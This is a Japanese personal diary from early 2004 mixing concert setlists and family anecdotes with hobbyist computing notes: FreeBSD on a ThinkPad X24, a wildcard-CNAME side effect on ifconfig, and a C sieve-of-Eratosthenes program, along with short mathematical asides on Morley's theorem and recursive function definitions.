こちらのサイトさまからリンクをたどって色々調べたところ、フロントエンドとしましては、コマンドライン・Emacs はもちろんのこと、maxima 自体にも xmaxima という GUI 版がバインドされ、インラインでグラフを表示出来たりしてなかなかの出来映えなのです。

さらに TeXmacs という TeX を解釈する Emacs 風のフロントエンドがありまして、それを利用すると極めて見栄えの良い出力を得ることが可能なのです。うーむ素晴らしい。そもそも最近は数値計算はもちろんのこと、ちょっとした代数式の計算の衰え著しく、自分で計算をするとまず間違うという状況なので、このようなちゃんとした数式処理プログラムが自由に使用できるのはとってもとってもありがたいのです。

2004年3月10日(水)

日記の入り口ページのレイアウト変更
この日記を書き始めてからもうすぐ二年が経過し、月別リンクが大分縦長になってきたので、3段組レイアウトに変更しました。実を言いますと今までは新しい月になるたびに、ここだけは手作業でリンクを追加する必要があったのですが、多段組のテーブルにすると(最新月が上だから)、手作業での変更が著しく面倒になるのです。というわけで、この部分も自動的に生成(sh and awk)されるように変更しまして、これでやっと完全自動化達成です。まあお客様にとってはどうでもよいことなのですが、自己満足というものですな(^^。

2004年3月9日(火)

ちょっとしゃれた定理
割と有名な話なのでご存じの方も多いと思いますが、下の図のように 任意の三角形の各頂点を３等分して、それらの直線の交点を結んだ内部の三角形を考えます。すると中の三角形がなんとびっくり必ず正三角形になるそうな。

私は良く知らないのですが、初等的に証明可能だそうで、驚くべきことに 20 世紀になってから証明されたとのこと。一般に角の三等分は定規とコンパスでは不可能なのこと(これは三角関数の３倍角の公式が sin もしくは cosine の３次式になるから)が盲点になったと思うのですが、なんとも不思議で面白い定理であります。
＃定理の名前をご存じの方がいらっしゃりましたら教えて下さい(^^。

＃某チャットルームで O さんが教えて下さりまして
＃モーレ─の定理と言うそうな。ありがとうございます。

2004年3月8日(月)

お休み
今日も先週に引き続きコンサート疲れを予想しての計画有給だったりします(^^;。

2004年3月7日(日)

仙台ソロコンサート

今日も寒かったです(^^。朝の 11時半に K さん T さん J さんと合流して「牡蛎とんぶり」を食する。その後連ちゃんで「牛たん」を食べにゆくことになったが、長い行列が出来ていたのでとりあえず断念して会場の下見に行き、頃合いを見計らい再び牛たん屋さんへ。今度はあんまり並ばずに入れて、とてもおいしかったです(^^。二時間くらい一人で一番町をうろついて、開演 20分位前に会場前に到着。

曲目は次の通り。

曲名備考
ねこの森には帰れないオープニング
洗濯かご仙台つながり
ダイエット
不眠の力
アリス
ほうき星の歌リクエスト
サーカス
紙吹雪
冷たい水の中を君と歩いていく
カントリーガールこれより二部
SORAMIMI ラブソング
海の時間
意味なしアリス宇宙の子供より
神様
よその子
DOOR 終曲
僕は帰るきっと帰るアンコールその 1
さよならのかわりにアンコールその 2

今日が私にとっての今年のコンサートツアー最後と思うとちょっと感傷的な気分だったのですが、とても充実して楽しい二週間でした。終演後新幹線と東海道線で帰宅。おみやげは「萩の月」。

2004年3月6日(土)

郡山ソロコンサート
15時40分に郡山到着。駅から遠いのと地図があんまり詳しくなくて公演場所が良く分からないのでタクシーで現地へ直行...のつもりが、タクシーの運転手さんも場所を知らず、うろうろすると高くなりそうなので、近場で降りて 15分位探してやっと到着。開場まで並んで待っている間とっても寒かったです。コンサートレポートは「2004年郡山ソロコンサート」に。

終演後仙台に向かいロイヤルホストで K さん T さん J さんと食事。

2004年3月5日(金)

パールちゃん大脱走
おうちに来てから一年ちょっとのハムスターのパールちゃんなのですが、奧さまが買い物から帰ってきてカーペットの上を見たところ、なんその辺をととことこ歩いていたそうな(^^。子供達に「誰か上の蓋を開けっ放しにした～」と聞いても誰も心当たりがないそうで(まあ子供の言うことなのであてにはならないのですが...)、もしかして自力で脱出かな？。いずれにしてもその辺の奧の方に隠れないうちに発見できたのは幸いでした。さらにその時はまだお雛さまを片付ける前だったのですが、そちらに被害が及ばなかったのも幸いだったのであります(^^。
こんな感じで脱出？

余談ですが、前に私がモカちゃんのゲームボーイをパールちゃんの籠の近くに置いといたら、ボタンのぽっちんを半分くらいかじられちゃって、未だにそれを責められているのは絶対に内緒なのです(^^;。

2004年3月4日(木)

驚速 ADSL
会社の H さんの自宅が未だにダイアルアップインターネット環境ということなので、「最近は値段もあんまり違わないから ADSL にした方がいいですよ～(^^」とお薦めしていたのですが、先週やっと乗り換えられたそうなのです。で、下調べの段階で、局からおうちまでの距離が 3Km 以上で減衰が 48db 程度あると分かっていたので(ちなみに私のおうちの減衰は 44db)、あんまり速度は出ないだろうな～、と思っていたのですが、案の定 700Kbps 程度しか出なかったそうで、「よしよしちょっと悪すぎるけど、私より遅い人が一人増えた。うれしいな～」なんて思っていたのです[←極悪]。それでも H さん曰く「速度を知ってしまうとちょっと残念だけれど、前に比べるとはるかに速いのでとっても良いですねー」なんて本当は不愉快なのに負け惜しみを言ってたのです。ところが昨日突然 H さんからメールが届きまして、
家にNTTの電話の口が二つありますので、ひょっとして速くなるかもと思ってもうひとつの口に接続したら、なんとADSLの回線速度が約5Mbpsと、最初に差し込んだ口を使った速度よりも10倍弱も速くなってしまいました。家の中の配線内で律速していたようです。5Mは予想よりも速いので驚いています。
とのことなのです。むむむむむっ、なんと宅内配線の事情で速度が遅くなっていたとは。しかも私のおうちより減衰が大きい分際で、挿し込む口を変えただけでおうちの 2倍位の速度になるとは...。これは実に不愉快ですな(-_-)。さらに H 氏によりますと、「でも体感速度はあんまり違わないんです。速度速くてもあんまり関係ないですね」ということなのですが、そんなことをいいつつやけにうれしそうなのです(^^。
ちなみに H さんはフレッツではなく、今まで使っていたプロバイダーの ADSL プランにしたそうなのですが、どうして 48db 減衰があるのに 5Mbps も出るのだろう。もしかして他の ADSL データリンク提供会社の方式に比べて、フレッツ ADSL は特に速度が出ないのだろうか。かといってなかなか実験出来るものでもないし、まことに困ったものなのです。

2004年3月3日(水)

ひな祭り
なので日記はお休み(どうして、どうして^^)。

2004年3月2日(火)

ifconfig の恐怖
実は会社で X24 の fxp0 インターフェースを使用して実験をしていたのですが、一度綴りをうち間違えて、
# ifconfig fxp0 dleete
なんて入力してしまったのです(本当は ifconfig fxp0 delete)。ところがエラーメッセージもなにも出ないで突然別の kterm に、
Read from remote host evariste.jp: Connection reset by peer
Connection to evariste.jp closed.
なんてメッセージが出て、おうちのサーバーとの ssh 接続が切れてしまったのです。あれれれっ、変だな～。外への経路は wi0 を使っているから fxp0 は関係ないはずなのに(このときは delete と入力したつもりだった)、と思ってもう一度接続するとこんどは、
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that the DSA host key has just been changed.
The fingerprint for the DSA key sent by the remote host is
xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx.
Please contact your system administrator.
...
なんてメッセージが出て自宅サーバーから(と思った)拒絶が...。仕方がないので ifconfig で fxp0 の状況を見ると、
# ifconfig fxp0
fxp0: flags=8843 mtu 1500
inet 210.138.221.218 netmask 0xffffff00 broadcast 210.138.221.255
ether xx:xx:xx:xx:xx:xx
media: Ethernet autoselect (100baseTX )
status: active
となっているのです。むむむむっ、どうして突然グローバルアドレスが割り当てられたのだろう。しかもどこかで見たような(^^。で、色々実験すると ifconfig fxp0 の次の単語をいい加減に入力すると常に 210.138.221.218 が割り当てられまして、しかもそのアドレスはおうちのサーバーのアドレス なのです。
あれれっ、どうしておうちのサーバーのアドレスに。そもそも誰がそんなアドレスを知っているのだろう...。ということで、情けないことにここで 5分間位悩んだのですが、考えてみればあたりまえでして、ワイルドカード CNAME を設定した副作用だったのです。つまり /etc/resolv.conf で domain は evariste.jp と指定してあるので、例えば ifconfig fxp0 hoge は hoge.evariste.jp のアドレスと解釈され、CNAME のワイルドカード設定によりこれはおうちのサーバーのアドレスということになってしまったのです。いやはや、うかつなことにこんな副作用があるとは全く気が付きませんでした。つまり上の ssh 拒絶のメッセージは自分で出してたのね(^^。
いずれにしてもこれからはifconfig や route コマンド入力時のの綴りに注意しなくてはいけませんな。

モカちゃん素数を習う

モカが素数のことを習ったそうで、エラトステネスのふるいで 200未満の素数表を作ったりしていたのです。ふるいを実行するより 200までの数を紙に書く方が大変だと思うのですが、なんとか自力で出来たようで、ちょっと見た目間違いもないようです。

エラトステネスのふるいというのは、ご存じの方がほとんどだと思うのですが、下記の様に、2 以上の自然数を並べて 2 の(2 倍以上の)倍数を消去、次の生き残りの最初のものの(2 倍以上の)倍数を消去、さらに次の生き残りの最初のものの(2倍以上の)倍数を消去、... を繰り返して、最後に「生き残った」ものが素数の表となるアルゴリズムです。具体的には、

[初期状態]

       2  3  4  5  6  7  8  9 
10 11 12 13 14 15 16 17 18 19 
20 21 22 23 24 25 26 27 28 29
30 31 32 33 34 35 36 37 38 39
40 41 42 43 44 45 46 47 48 49

[2 以外の 2 の倍数を消去]

       2  3     5     7     9 
   11    13    15    17    19 
   21    23    25    27    29
   31    33    35    37    39
   41    43    45    47    49

[3 以外の 3 の倍数を消去]

       2  3     5     7      
   11    13          17    19 
         23    25          29
   31          35    37     
   41    43          47    49

[5 以外の 5 の倍数を消去]

       2  3     5     7      
   11    13          17    19 
         23                29
   31                37     
   41    43          47    49

[7 以外の 7 の倍数を消去]

       2  3     5     7      
   11    13          17    19 
         23                29
   31                37     
   41    43          47

という感じで n までの素数表を作成するには sqrt(n) を切り上げた数までの操作を行えば良いのです。余談ですがコンピューターで小さい n(20億位)以下の素数表を作成するには、n bit の空間に対して上記の方法を適用すれば良いので、大体 20億/8 バイトの記憶容量があれば良く、250M バイト程度の主記憶で実行可能でして、最適化が甘いのですが、下記のプログラムで動くはず(^^;。

-------------------------------------------------------------------------
/*
 * 20 億以下の素数表を作成する cc sieve.c -o sieve -O -lm
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

/*
 * ビットマップ操作マクロ群
 */
#define getnbits(a,n)    ((a[(n)/8])&((unsigned char)0x80>>((n)%8)))
#define setnbits(a,n)    (a[(n)/8]|=((unsigned char)0x80>>((n)%8)))
#define resetnbits(a,n)  (a[(n)/8]&=~(((unsigned char)0x80>>((n)%8))))

#define SIZE ((2000000000/8)+1)

static unsigned char a[SIZE];

static void sieve(unsigned char *p,int n);
static void print(unsigned char *p,int n);

int main()
{
    sieve(a,SIZE*8);
    print(a,SIZE*8);
    return(0);
}
/*
 * エラトステネスのふるい
 */
static void sieve(unsigned char *p,int n)
{
    int sqrtn;
    int i,j;

    sqrtn=(int)sqrt(n)+1;
    memset(p,'\xff',n/8);                    /* 全 bit を 1 でうめる */
    for (i=2;i<=sqrtn;) {
        for (j=i+i;j<n;j+=i)
            resetnbits(p,j);                 /* 素数の倍数を消去 */
        i++;
        while (i<=sqrtn && getnbits(p,i)==0) /* 次の素数に */
            i++;
    }
}
/*
 * 結果を出力
 */
static void print(unsigned char *p,int n)
{
    int i;
    
    for (i=2;i!=n;i++) {
        if (getnbits(p,i))      /*  生き残っていたら */
            printf("%d\n",i);   /* 印字 */
    }
}
-------------------------------------------------------------------------

＃ X24 で 5分位かかりました。

2004年3月1日(月)

一日寝てすごす
深夜バスで東京に到着したのが 7時頃で、東海道線で自宅に到着したのが 8時半頃。深夜バスというのは初めてだったのですが、いやはや疲れるものですな(^^。さらに走り始めてから二時間くらは異様に室内温度が高く、とても眠れる状態でなかったのです。だれかが苦情を言ったのかどうか、途中の休憩後やっとまともな温度になったのですが、全然眠れた感じがしない状態で東京に到着。昼間は良く眠れるのに夜になるとどうしてだめなのだろうか(^^。というわけでおうちに到着して朝ごはんを食べてからほとんど昼間中寝てしまったという、情けない一日だったのであります。

2004年2月29日(日)

神戸ソロコンサート

ちょっと京都の観光をしてから、神戸に向かおうと思っていたら、明らかに資金不足(^^;。ここで調子に乗って散財したら藤沢に帰れなくなってしまう、ということでその辺をうろいたり、コーヒー一杯で 2時間ねばったりして(読み物を持っていって正解！)から神戸に向かい、めずらしく迷わないで現地に到着。酒心館ホールというのは初めてなのですが、浩子さんと聴衆の親密感や音響効果が非常によろしいのです。さらに今日は私自信もゆったりとしていましたし、好きな曲が多かったこともあり、とても楽しめた素晴らしいコンサートだったのです。来て良かったー(^^。終演後大阪発 23時50分の深夜バスで帰宅。明日は有給をとってあるのです。

曲名備考
見えない小鳥オープニング
三日月の女神御影つながり
壁に映る影
恋するニワトリ神戸つながり
ミスティナイト声域が大変とのこと
トライアングルリクエスト
冷たい水の中をきみと歩いていく
MAY
窓
空に吊されたあやつり人形これより二部。宇宙の子供より
神様
よその子
さよならのかわりに友達
裸足のきみを僕が知ってる
MOON SONG
学びの雨終曲
おやすみアンコールその 1
僕は帰るきっと帰るアンコールその 2

2004年2月28日(土)

京都ソロコンサート

朝の 10時に家を出て「こだま」で京都に...と思っていたら、

目が覚めたら大阪(-_-)

あれれー、やっちゃったよ～。名古屋で停車していた記憶はあるのですが...。時計を見ると 17時頃で、さらにほんとは 19時開演なのを 18時開演と勘違いしていて、「いかん間に合わない」とあわてて反対方向の「ひかり」に乗って再び京都に戻ったのですが、開演時間を勘違いしていたのに気が付いて一安心です。曲目は下の通りなのですが、「岸を離れる日」にいちばんはまったかな。ピアノとよく合う曲だし。ただし久々に聴きに行くと、一日目は(私が)緊張していまいち集中出来ない場合が多いのはいつものことなのです。終演後みんなと食事して宿へ。

曲名備考
花時計オープニング。風邪で鼻がつまってるそうな
青色帽子ツアー京都と言えば修学旅行なので旅の歌
休暇旅行
風のたてがみ
岸を離れる日
かくれんぼするエコーリクエスト
うさぎ
DESERT MOON
風の子供
意味なしアリスこれより二部(^^。宇宙の子供より
卵
きみはたんぽぽ
ボクハ・キミガ・スキ切ない恋の歌
ポンピイ・クラウンの片想い
星より遠い
ひとりでお帰りエンディング
僕は帰るきっと帰るアンコール・その 1
カントリーガールアンコール・その 2。みんなで合唱

2004年2月27日(金)

お雛様をかざる
会社で仕事してたら奧さまからメールで、お雛様を飾ったとのことなのです。そう言えばしばらく飾っていなかったな～、と思ったらやはり三年ぶりということで、そんなに広くないマンションに五人で暮しているとなかなか置場所がなかったりするのです(^^。

このお雛様は長女が生まれた時に、奧さまのお母様に買って頂いたものでして、 19年物ということになるのですが、子供が刀とかの小道具とで遊んでいて、それが行方不明になったり(結局でてきた)、壇の部分を組み立てているときに私が無理やり部品をはめようとして壊しそうになったりと、いろいろな事件に遭遇しているのです。さらに二女は「夜中に歩き出しそでこわい^^」ということで、あんまり関わらないようにしているようです。
余談ですが上の写真を標準露出で撮ったら、なんとびっくりみんなのっぺらぼう！！。いやはやこれは二女でなくても恐いですよ～(^^。顔のところだけがとっても白くて、しかも目鼻をとても細くお上品に描いてあるのであたりまえのことなのですが、撮ってみるまで全然気が付きませんでした。案外難しいものですな。

2004年2月26日(木)

天才 10マルク紙幣
会社で H さんが見せてくれたのが下の 10マルク紙幣でして、なんと肖像画があの大ガウス先生のなのです。ガウスという人は19世紀前半[1777～1855] に活躍した天才数学者、といいますか間違いなく古今最大の数学者でして、その業績は非常に幅広く、しかもおのおのの業績が時代を 50年から100年も先取りしていたと思われるものばかりなのです。6才の頃学校の先生に「1 から 40 までの和を求めなさい」という問題を出され、その場で 1 から n までの和の公式、
S = [n x (n + 1)] / 2
を思いつき、即座に 820 と答えたのは有名なエピソードです。

よくよくみると、お札の表の真ん中辺に正規分布の図と(その密度関数の)式が書いてあったりしまして、H さん曰く「ドイツではテストで持ち込み禁止かも知れない」ということなのですが、いくらなんでもそんなことはないでしょう(^^。

2004年2月25日(水)

ワイルドカード CNAME(^^
たかたにさんのところの記事を拝見したところ、CNAME にワイルドカードが使用できるそうで、アイネットディに登録料金 500円也を支払うと設定もしてくれるそうな。さっそくまねをして おうちのドメインにも適用してもらうことにしたのですが、うまいこと evariste.jp のドメイン申請のときにアイネットディとの間にちょっと勘違いがあって、500円余分に支払ってしまった経緯があり、その精算は次回の契約更新の時という話になっていたのです。そこでその 500円を今回流用というお願いをしたところ OK ということで、見積もりの依頼から実際の登録作業完了までなんと一時間程度ですんで、さらに振り込み料金も節約出来たというなかなか結構なお買い物だったのです。具体的に CNAME ワイルドカードを設定するとどうなるかと言いますと、もともとは evariste.jp という名称のドメイン(私の環境ではホスト)のサブドメイン、
www.evariste.jp mail.evariste.jp
等が全部同じ IP アドレスで正引き出来るようになるのです。例えばこのホームページの最新日記のアドレスは
http://evariste.jp/kagami/diary/0000/newdiary.html
なのですが、
http://www.evariste.jp/kagami/diary/0000/newdiary.html
等でもアクセス可能となるのです。といいますか現在は特に Apache の指定をしている訳ではないので、
http://なんたら.evariste.jp/kagami/diary/0000/newdiary.html
でも大丈夫だったりしまして(Mozilla では「なんたら」と日本語で入れても大丈夫^^)、さらに Apache の設定をちゃんとやればアクセスされたホスト名により表示内容を変更したりすることも可能なのです。ということで剰余金があった勢いもあり、任意のサブドメインを扱うことが可能となったのですが、今のところ特に立つ訳ではなさそうで、今後有用な方法を考えなくてはいけませんな(^^。
モカちゃん宿題で苦戦する
モカ姫が塾の宿題に大分苦戦しているらしく、今週の始め頃は奧さまに「どうしてこんなにやんなきゃならないの～」と文句を言い続けていたそうな(^^。そもそも今度通い出した塾の方針は「自力で先のことをどんどん勉強して分からなかったら質問」ということでして、さらに私立中学を受験する人は週に三回通って、一回はモカと同じ内容なのですが、残りの二回は演習ということらしく、姫の場合は週一なので、その分を全部自宅で勉強する必要があるのです。個人的には勉強というものは教わるのではなく自分で切り開いていくものだと思うので、あんまり(本質的な部分以外を)細々と教えてもらうのは宜しくないと考えているのですが、さすがに奧さまが選んだところだけあって、そういう点はなかなかツボにはまっているようです。というわけで、モカ姫としては慣れない間は大変だと思うのですが、ある程度ペースに慣れてくれば軌道に乗るのではと親ばか期待をしているのでありまして、それでもしへたってしまうようなら、それはその程度の才能しかなかったということなので、あんまり深刻に考える必要もないと考えているのです。

2004年2月24日(火)

X24/FreeBSD-4.9 で音が出る
今まで FreeBSD で音を出す方法が分からなかった X24 ですが、こちらの情報の通りに kernel を再構築したところ問題なく動作するようになりました。前に別の場所の情報を見たときはパッチをあてると良いということでして、確かに FreeBSD-4.7 の頃に一度は動作したのですが、一回 cvsup したら起動時にハングするようになってしまったのです。それで一番本質的な部分が
options PCI_ENABLE_IO_MODES
という部分だと思うのですが、これは PCI バスに対して(DMA MODE に加えて) IO MODE を許可するというという...と調べていたら、なんと大昔に自分で書いてるではありませんか(^^。ただし上に書いたようにこのパッチをあてるとハングしてしまうので、パッチをあてないで PCI_ENABLE_IO_MODES にするのが正解のようです(ほんと？)。で、音が出るようになったのもちょっとうれしいのですが、このあたりの問題が X24 で FreeBSD-5 系統がブート出来ないことと非常に関連が深いような気がするのです。つまり FreeBSD-5 の系統はパッチをあてた PCI_ENABLE_IO_MODES(FreeBSD-4 系統でハングする)と同等な実装になっていると。もしそうだとすると、この変数を調整した kernel が手にはいればブート出来る可能性もあるわけでして、近い将来親切な人にお願いしようかな(^^;。

2004年2月23日(月)

X24 を忘れる
実は昨日の夜、21時頃にごろごろしていたらそのまま沈没してしまい、今朝目が覚めたらまだ 5時だったのです(^^;。で、今までの経験からしてもう一度寝てしまうと必ず寝坊するので、のんびりと朝食を食べたり新聞を読んだりしてからおうちを出たのですが、駅に到着した時なんとなく鞄が軽いのに気が付いたのです。そういえば X24 をシャットダウンしたところまでは覚えているけど鞄に入れた記憶がないな～、ということで鞄の中を見たら案の定入っていません(^^。バックアップはとっているというものの、あの PC には開発環境一式入っているので無いととっても不便だし、かといって取りに戻るのも面倒だしそもそも遅刻してしまう、ということで仕方がないので会社に着いてから奧さまにブートをお願することにして、そのまま出社したのです。
ひょっとして電源を切っていないとうれしいな～、と思いつつ会社に到着してさっそくおうちのサーバーに ssh でログインして X24 に ping を打ちましたが残念ながら応答なし。ということで奧さまに「これからメールする内容をお願い」と電話をしまして、電源を入れてもらい root でのネットワーク初期設定シェルコマンド(ネットワークの構成は会社用と自宅用があるのでブートしただけではだめ)を打ち込んでもらったのです。そうは言っても奧さまは PC に関しては全くの素人なので、この部分に関しても色々と紆余曲折があったのですが、とにもかくにも会社と X24 が繋がる状態になりまして、いやはやほんとに助かりました。どうもありがとうございます(^^。
そんなこんなで午前中は調子良く仕事をしていたのですが、お昼休みになっのでこの日記を途中まで書いてたら突然すべての端末や Emacs の画面に、
shutdown by root....
のメッセージが...(^^;。なっなんと AC アダプターを抜いたのを忘れて、それの入れ直しをお願いするのを忘れていたのですねー。幸い APM の設定でバッテリーがへたると自動的にシャットダウンをするようになっていたので(ちゃんと動くとは知らなかった^^)、いつのまにか動かなくなるという最悪の悲劇は免れたのですが、またまた奧さまに電話をして朝とおんなじことをしてもらうことになったのであります。
ここで余談ですが、上りの実効速度 700Kbit/sec 程度の回線を使用した状況にてリモート X 経由(ssh X forwarding)の Emacs や kterm を使ってみると、立ち上がりは非常に時間がかかるものの、一度立ち上がってしまうとほとんどストレスなしで使用できるようです。ただし Emacs や kterm のようなほとんどが文字情報の場合は良いのですが、Mozilla のような画像情報が多いものは使い物にならないというほどではないのですが、かなり辛い状態なのであります。なんと言いますか一昔前の Java で作ったアプリケーションのような動きですな(^^。
＃もちろんこの日記はおうちの X24 に入って X 経由の Emacs で書いたのです。

2004年2月22日(日)

二女の 5連休
明日から二女の通っている高校の入試が始まり、何と月・火・水とお休み。まったくうらやましいことで(^^。さらにその高校は完全単位制で金曜の午後も休みだったので、先週の金曜日の午前の単位を取っていない人は、 6連休になったそうな。さらにさらに連休中はうまいこと音楽教室のバイトが沢山入ったようで、バイトとゲーム三昧のとってもとっても優雅な生活なのであります。
＃少しは勉強しなさい、といっても全く効果なしだったりします(^^。

2004年2月21日(土)

モカちゃん塾にゆく
モカの場合複数科目の塾はなかなかマッチしない場合が多い、ということで「算数・数学」専門の塾を探していたのですが、昨日奧さまが専門の個人塾いくつかと連絡を取り、一番合いそうなところに今日から通うことになりました。最初だということでモカと奧さまと一緒に行ってきたのですが、とても真面目で丁寧に教えてくれそうな先生でした。それで終わってからのモカの発言。
疲れた～。一時間半ずーっと新しいこと勉強して宿題もとってもたくさん
ということなのですが、まあそんなことは分かりきっていたのでして、頭が柔らかいうちにせいぜい新しいことを沢山勉強してちょーだい(^^。もしかすると塾に行きたいなどと言い出したことをちょっと後悔しているのかも知れませんな。

2004年2月20日(金)

へたってきたバッテリー
最近 X24 のバッテリーの持ちが悪くなってきたようでして、フル充電後 AC アダプターを抜いて少々経過した後の apm コマンドでの出力が、買った当初は 2時間半程度だったのに、今は 1時間50分位なのです。むむむっ、まだ買って一年ちょっとなのに案外目減りが激しいものですな。毎日会社の往復以外は常に電源が入っていて、中途半端な充電が一日二回発生するというのはあんまり良いパターンではないのかな。このまま目減りが続いて一時間半を切るようだと電池の新規購入を考慮する必要があるかも知れません。と思って価格を調べると、なっなんと二万円近くするとは(^^。たかが電池なので一万円位だと思っていたらとっても高いのですね。困ったものです。

2004年2月19日(木)

モカちゃん塾に断られる
ということで、奧さまがモカの塾探しを始めたのですが、値段が高すぎたり算数以外のとセットだったり、なかなかぴったりのとこはないものですな。
で、一ヶ所なんとなく良さそうな塾がありまして、三日程前に奧さまが話を聞きに行ってきて、こちらとしては入会してしばらく様子を見ようかと思ったのですが、なんと断られてしまったのです。そちらの塾は国語と算数を個人で教えているのですが、どうも国語の方を重視している感じでして、先生のお話ですと、「国語がすべての基本なので算数だけというのはちょっと」ということだったのですが(この意見には反対しません)、姫は算数以外習うのはやだと言ってたし、奧さまも国語がずたぼろでも人並みに数学が出来るようになった人の実例を話したりして、その時は「それでは算数だけでも」という話になったのです。そこで二三日後に連絡しますということにしまして、本日入会希望と連絡したのですが、「やはり国語と算数両方でなければ困るし考えかたも大分違うようだ」ということで、むこうからお断りということになってしまったのです。
奧さまの説によりますと、やはり国語・算数セットでないと儲からないし、モカを私立中学に行かせる気は全くないという話もしたので、実績にならないというあたりがのが本音らしいということなのです。さらにあんまり算数の方は自信がなくって、私が数学専攻だったという話にびびったのではないかと言うのですが、もしかするとそんな理由もありうるかも知れません。いずれにしても奧さまの塾探しの旅は今後もしばらく続きそうなのであります(^^。
ちなみに先生と奧さまが話をしていた一時間半の間、モカ姫はひたすら無駄口をたたかないでじっと聞いていたそうで、ちっちゃいときは五分間以上絶対にじっとしていることが出来なかった私としては、多少計算が速いことよりそちらの方がはるかに驚異なのです。

2004年2月18日(水)

のぐその謎
今朝会社に行くときにおうちの近くの歩道を歩いていたら、なんとう○こを拭いたトイレットペーパーが落ちていたのです。むむむっ、なんということを。全く不愉快ですな(-_-)。それにしてもどうしてトイレットペーパーなのだろうか。普通のぐそをする人はティッシュとか最悪新聞紙とかで拭くと思うし、そもそもトイレットペーパーを持ち歩くほど用意周到な人ならば、のぐそなどといううかつな行為には至らないと思うのだが...。てなことを会社で Aさんと Bさん(女性)に話してるうちにのぐそ談義が始まりまして、まず Aさんのお話は、
たしか友達の友達くらいの話だったと思うんだけど、おまわりさんが留守の交番の机の引き出しに...。
というものでして、なんと世の中には勇気のある人がいるものですな(^^。で、次は Bさんのお話。
- [B さん] 前の営業所にいた頃入り口の掃除をしてたらどかんとあって、最初犬のかと思って良く見たんだけど(おい^^)どうみても人間のなの～。
- [私] えー、それ掃除したの～？
- [B さん] 仕方ないからみんなで掃除してたら、こんどはパンツが出てきて、どうも紙がなくってそれで拭いたのを捨てったらしいのよねー。
- [私]うー、いくらせっぱ詰まってたとは言っても、それはちょと～(^^;。
そういう私も高校生の時教室に入ったら、真ん中辺の机がよけてあって、その中心にどかんと...。どうも学校に泥棒が入ったらしく、泥棒社会の風習として残していったらしいのですが、いやはや当番の人は掃除をさせられてとっても気の毒でした(^^。
そんなこんなで、おうちに帰ってきてモカ姫に話したらやはり目撃したとのことでして、まったくけしからんやつなのです。ちなみに奧さまいわく、「あなた写真をホームページに張り付けるのが好きでしょ。まだ残っているかも知れないから撮ってきたら」。いやいやいくらなんでもそんなことは出来ません(^^。

2004年2月17日(火)

赤ぽっちん on FM V-BIBLO
私の上司は Air"H 内臓富士通 FM V-BIBLO を愛用していまして、この前までは純正の青ぽっちんが付いていたのですが、今日久々に見たらなんと赤ぽっちんに変っているのですねー。「いったいどーしたの」と聞いたところ、「青ぽっちんが調子悪くなってきたので、奧さまの IBM マシンに付いてきた(新しいのを買うと 3種類ついてくるらしい)赤ぽっちんに変更したとのことなのですが、ぽっちんの穴の大きさとぽっちんを入れる棒の太さが合わなくて、赤ぽっちんの中をナイフで削ったそうな(^^。
むむむっ、世の中に赤ぽっちんを削って IBM 以外の機種に流用している人が少なくとも一人はいるといううわさを聞いたことはあるのですが、こんなに身近にも流用派の人がいたとは大変な驚きです(^^。

ちなみに写真では良く分からないのですが、なんとソフトリム型のぽっちん (この写真の左側)をはめこんでありまして、「それ使いにくくありませんかー」と聞いたところ、ちょっと動きが変だけでどそんなに使いにくくはないとのこと。うーむ、好みは人それぞれですな。

2004年2月16日(月)

いっかいやすみ(^^;

2004年2月15日(日)

ヴァレンタインのチョコをもらう
昨日もらえなかったので今年はなしかな～、と思っていたら、今日になって奧さまからバレンタインのチョコをもらったのです(^^。「どうして昨日くれなかったの」と聞いたらなんと忘れていたとのことなのですが、とにかくもらえて幸せ～。ちなみにモカ姫からもちゃんと頂いたのであります。
壊れてしまった SL-CT700-S
一年ちょっと前に買った CD ウオークマンもどきの Panasonic SL-CT700-S が壊れてしまったようです。CD を入れてもヘッドフォンからノイズが聞えるだけで、全然再生してくれないのです。むむむっ Panasonic の製品は割と信頼していたのですが、保証期限を過ぎて一ヶ月位で壊れるとは、某 S 社製品と同様のタイマーを設定して出荷するようになってしまったのだろうか。保証期間を過ぎているので、修理しても新しいのを買ってもあんまり値段が違わないような気がするし...。いずれにしてもしばらくは R30 にヘッドフォンを繋げて我慢するしかないのですが、もし Lumix FZ1 にも一年タイマーが仕掛けてあったらどうしよう。

2004年2月14日(土)

モカ姫高速計算の謎
昨日のモカ姫の自慢話ですが、いくらなんでも計算するのが速すぎるので、「どうやって計算したの」と聞いたところ、
- 正時に鳴く回数は 1 から 10 までの足し算の答えは 55 だと知っているので、それに 11 と 12 を足して 78 で、さらにそれを 2 倍して 156。
- 30分に鳴くのが 24回なのでそれを足して 180。
ということで、私は 1 から 12 まで数秒で全部足したのかと思って驚いたのですが、これなら納得です。それにしてもずいぶん手際の良い計算でして、55 を利用するなんて全然気が付きませんでした(^^。
帰納法による関数の定義
[集合論雑記目次]
自然数全体の集合 N 上に通常の加法や乗法等の演算を定義したいのですが、その準備として「帰納的な関数の定義」というものが必要です。帰納的な関数の定義として良く知られた例として、例えば階乗の定義、
- 0! = 1
- (n + 1)! = n! (n + 1)
が有名ですが、このような定義方法を正当化するための形式化と、それを利用した種々の演算や関数の定義を行おうと言う訳です。
[定理]
A を空でない集合として u: N x A → A を写像として a∈A とします。このとき次の条件を満たす N から A への写像がただ一つ存在する。

f(0) = a

f(n+1) = u(f(n),n)

数学的帰納法は N の定義から自明だったのですが、こちらはちょっと真面目に証明する必要があります。証明の概略を記述しますと、まず一般に写像 f: X → Y の実体は(R,X,Y) の三つ組で、関係 R ⊆ X x Y が「写像の条件」を満たすものであったことと、自然数 (m+1) は {0,1,2,...,m} であることを思い出して、各 m∈N に対し (m+1) 上で定義され次の条件を満たす写像 g の関数関係(これは N x A の部分集合)全体の集合 T をとします。また下記の条件を満たす g で dom(g)=m+1 のものを(ここだけの記述ですが) (u,a,m)- 写像とよぶこととします。
g は自然数 (m+1) から A への写像

g(0) = a

g(n+1) = u(g(n),n) for n∈m

[各 m∈N に対して (u,a,m)-写像は一意に存在する]
